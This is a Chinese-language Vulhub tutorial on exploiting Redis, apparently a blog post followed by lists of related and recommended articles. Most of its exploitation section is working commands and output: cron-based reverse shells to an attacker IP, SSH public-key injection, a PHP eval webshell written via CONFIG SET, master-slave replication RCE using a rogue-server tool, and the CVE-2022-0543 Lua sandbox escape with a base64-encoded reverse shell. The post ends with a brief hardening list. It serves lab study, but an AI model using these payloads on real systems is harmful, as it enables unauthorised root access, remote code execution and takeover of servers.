Vulhub 漏洞学习之:Redis

1 Redis简介

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。Redis 与其他 key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
  • Redis支持数据的备份,即master-slave模式的数据备份。

Redis 优势

  • 性能极高:Redis能读的速度是110000次/s,写的速度是81000次/s 。
  • 丰富的数据类型:Redis支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操作。
  • 原子性:Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
  • 丰富的特性:Redis还支持 publish/subscribe, 通知, key 过期等等特性。

2. 安装Redis

2.1 Docker安装测试环境

  1. docker pull redis
  2. docker run -p 6379:6379 -d redis
  • -p 将容器的6379端口映射到主机的6379端口。
  • -d 将容器后台运行。

2.2 安装Redis客户端

  1. tar -zxf redis-7.0.0.tar.gz
  2. cd redis-7.0.0
  3. make
  4. cp src/redis-cli /usr/bin
  5. // 测试连接
  6. redis-cli -h your_host -p 6379 -a "pass" --raw
  • -h: 远程连接的主机
  • -p: 远程连接的端口
  • -a: 密码
  • --raw:解决中文乱码。

2.3 Redis 基础命令

  1. ping: 检测 redis 服务是否启动,启动返回PONG。

    1. 192.168.210.13:6379> PING
    2. PONG
  2. info

    1. 192.168.210.13:6379> info
    2. # Server
    3. redis_version:7.0.0
    4. redis_git_sha1:00000000
    5. redis_git_dirty:0

3 Redis 漏洞利用

3.1 利用计划任务反弹shell

3.1.1 kali 监听端口

  1. nc -nvlp 2333

3.1.2 远程连接Redis服务器并写入反弹Payload

  1. // 设置key
  2. set getshell "\n* * * * * bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n"
  3. // 设置路径
  4. config set dir /var/spool/cron/
  5. // 设置文件名
  6. config set dbfilename root
  7. // 保存key值到root文件中
  8. save
  9. // 命令行直接写入
  10. echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n\n"|redis-cli -h 192.168.210.13 -x set getshell
  11. redis-cli -h 192.168.210.13 config set dir /var/spool/cron/
  12. redis-cli -h 192.168.210.13 config set dbfilename root
  13. redis-cli -h 192.168.210.13 save

3.2 利用写入公钥登录ssh

3.2.1 kali 生成公私钥

  1. // 生成公私钥
  2. ssh-keygen -t rsa
  3. // 防止乱码,导出key
  4. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
  5. // 导入内容
  6. cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey
  7. // 若知道目标Redis服务器的密码,可以加--pass参数
  8. cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey --pass your-passwd

3.2.2 远程连接Redis服务器并写入公钥

  1. // 设置路径
  2. config set dir /root/.ssh
  3. // 设置文件名
  4. config set dbfilename authorized_keys
  5. // 保存key值到root文件中
  6. save

3.2.3 kali 远程登录目标系统

  1. ssh -i id_rsa root@192.168.210.13

3.3 利用写入WEBShell连接远程服务器

3.3.1 远程连接Redis服务器并写入WEBShell

  1. config set dir /var/www/html/
  2. config set dbfilename webshell.php
  3. set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
  4. save

3.4 Redis 4.x/5.x 主从复制导致的命令执行

Redis主从复制RCE漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机(此处为kali)实例可以通过FULLRESYNC同步文件到从机(此处为CentOS)上。然后在从机上加载恶意so文件,即可执行命令。

3.4.1 EXP 下载

  1. GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
  2. GitHub - Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement

3.4.2 EXP 利用过程

  1. # python3 redis-rogue-server.py --rhost 192.168.210.13 --lhost 192.168.210.10
  2. ______ _ _ ______ _____
  3. | ___ \ | (_) | ___ \ / ___|
  4. | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
  5. | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
  6. | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
  7. \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
  8. __/ |
  9. |___/
  10. @copyright n0b0dy @ r3kapig
  11. [info] TARGET 192.168.210.13:6379
  12. [info] SERVER 192.168.210.10:21000
  13. [info] Setting master...
  14. [info] Setting dbfilename...
  15. [info] Loading module...
  16. [info] Temerory cleaning up...
  17. // Interactive shell
  18. What do u want, [i]nteractive shell or [r]everse shell: i
  19. [info] Interact mode start, enter "exit" to quit.
  20. [<<] id
  21. [>>] uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  22. // Reverse shell
  23. What do u want, [i]nteractive shell or [r]everse shell: r
  24. [info] Open reverse shell...
  25. Reverse server address: 192.168.210.10
  26. Reverse server port: 2333
  27. [info] Reverse shell payload sent.
  28. [info] Check at 192.168.210.10:2333
  29. [info] Unload module...
  30. // kali监听
  31. └─$ nc -nvlp 2333
  32. listening on [any] 2333 ...
  33. connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 39390
  34. id
  35. uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

3.4.3 本地利用Redis主从复制RCE

  1. // kali
  2. # python3 redis_rogue_server.py -v -path ../redis-rogue-server-master/exp.so
  3. [*] Listening on port: 15000
  4. # nc -nvlp 2333
  5. listening on [any] 2333 ...
  6. // 在目标主机本地上执行以下命令:
  7. [root@ac ~]# redis-cli
  8. 127.0.0.1:6379> config set dir /tmp
  9. OK
  10. 127.0.0.1:6379> CONFIG SET dbfilename exp.so
  11. OK
  12. 127.0.0.1:6379> SLAVEOF 192.168.210.10 15000
  13. OK
  14. 127.0.0.1:6379> module load ./exp.so
  15. OK
  16. 127.0.0.1:6379> slaveof NO ONE
  17. OK
  18. 127.0.0.1:6379> system.rev 192.168.210.10 2333

3.5 利用SSRF攻击Redis服务器反弹shell

ssrf漏洞利用(内网探测、打redis) - ctrl_TT豆 - 博客园 (cnblogs.com)

3.6 Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

3.6.1 远程执行命令

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

  1. local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
  2. local io = io_l();
  3. local f = io.popen("id", "r");
  4. local res = f:read("*a");
  5. f:close();
  6. return res

注意:不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

连接redis,使用eval命令执行上述脚本:

  1. $ redis-cli -h 192.168.210.13
  2. 192.168.210.13:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
  3. "uid=0(root) gid=0(root) groups=0(root)\n"

3.6.1 反弹shell

  1. eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0

成功反弹:

  1. $ nc -nvlp 2333
  2. listening on [any] 2333 ...
  3. connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 57516
  4. bash: cannot set terminal process group (1): Inappropriate ioctl for device
  5. bash: no job control in this shell
  6. root@6d4a5a7a8313:/var/lib/redis# id
  7. id
  8. uid=0(root) gid=0(root) groups=0(root)
  9. root@6d4a5a7a8313:/var/lib/redis#

4 redis安全配置

  1. 以普通账号启动redis服务
  2. 监听本地或特定主机
  3. 开启 protected-mode
  4. 更改默认6379端口
  5. 为redis设置密码

Vulhub 漏洞学习之:Redis的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  4. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  5. 学习之Redis(一)

    一.redis简介 一般学习,最好先去官网,之所以建议看官网,是因为这是一手的学习资料,其他资料都最多只能算二手,一手资料意味着最权威,准确性最高.https://redis.io/topics/in ...

  6. 学习之Redis(二)

    Redis的对象和数据结构 一.字符串对象(请参考学习之Redis(一):https://www.cnblogs.com/wbq1994/p/12029516.html) 二.列表对象 列表对象的编码 ...

  7. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  8. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  9. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  10. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

随机推荐

  1. 【每日一题】【哈希表,返回结果的下标】2022年1月18日-NC61 两数之和

    描述给出一个整型数组 numbers 和一个目标值 target,请在数组中找出两个加起来等于目标值的数的下标,返回的下标按升序排列.(注:返回的数组下标从1开始算起) 算法: import java ...

  2. 【大数据面试】【项目开发经验】Hadoop、Flume、Kafka、Hive、MySQL、Sqoop、Azkaban、Spark

    主要内容:框架层面的调优.业务经验 一.Hadoop 1.Hadoop基准测试(HDFS的读写性能.MapReduce的计算能力测试) (1)测试内容:文件上传下载的时间 (2)服务器有几个硬盘插槽 ...

  3. 一图看懂Hadoop中的MapReduce与Spark的区别:从单机数据系统到分布式数据系统经历了哪些?

    今日博主思考了一个问题:Hadoop中的MapReduce与Spark他们之间到底有什么关系? 直到我看到了下面这张图 废话不多说先上图 我们知道,单机数据系统,在本地主机上针对数据有单机本地存储操作 ...

  4. 1.5.6 NN与2NN-hadoop-最全最完整的保姆级的java大数据学习资料

    目录 1.5.6 NN与2NN 1.5.6.1 HDFS元数据管理机制 1.5.6.2 Fsimage与Edits文件解析 1.5.6.2.1 Fsimage文件内容 1.5.6.2.2 Edits文 ...

  5. maven 项目依赖自动导入失败(pom.xml 文件爆红),解决--手动导入

    idea 报错信息提示:Dependency 'xxx' not found 解决方法:可以通过更换仓库的镜像配置解决,但是一般咱都在配置maven的时候,设置成阿里云仓库镜像了,更换成其他的,可能出 ...

  6. 【转载】MSSQL汉字首字母查询处理自定义函数

    -- 汉字首字母查询处理用户定义函数 CREATE FUNCTION f_GetPY(@str nvarchar(4000)) RETURNS nvarchar(4000) AS BEGIN DECL ...

  7. CH579-Lwip-2.12移植

    代码可以参考以下链接:https://gitee.com/maji19971221/lwip-routine Lwip可以在以下链接下载:http://download.savannah.gnu.or ...

  8. 编写异步任务@Async出现bean无法注入的问题解决方案

    在编写一个异步任务时出现报错:"The bean 'asyncShenCe' could not be injected as a 'com.sinochem.api.service.imp ...

  9. vulnhub靶场之VULNCMS: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:VulnCMS: 1,下载地址:https://download.vulnhub.com/vulncms/VulnCMS.ova,下载后直接vb ...

  10. 毫米波雷达 TI IWR1443 初体验

    文章目录 1 前言 2 准备工作 2.1 mmWave SDK 2.2 Code Composer Studio(CCS) 2.3 Uniflash 2.4 MATLAB runtime 2.5 TI ...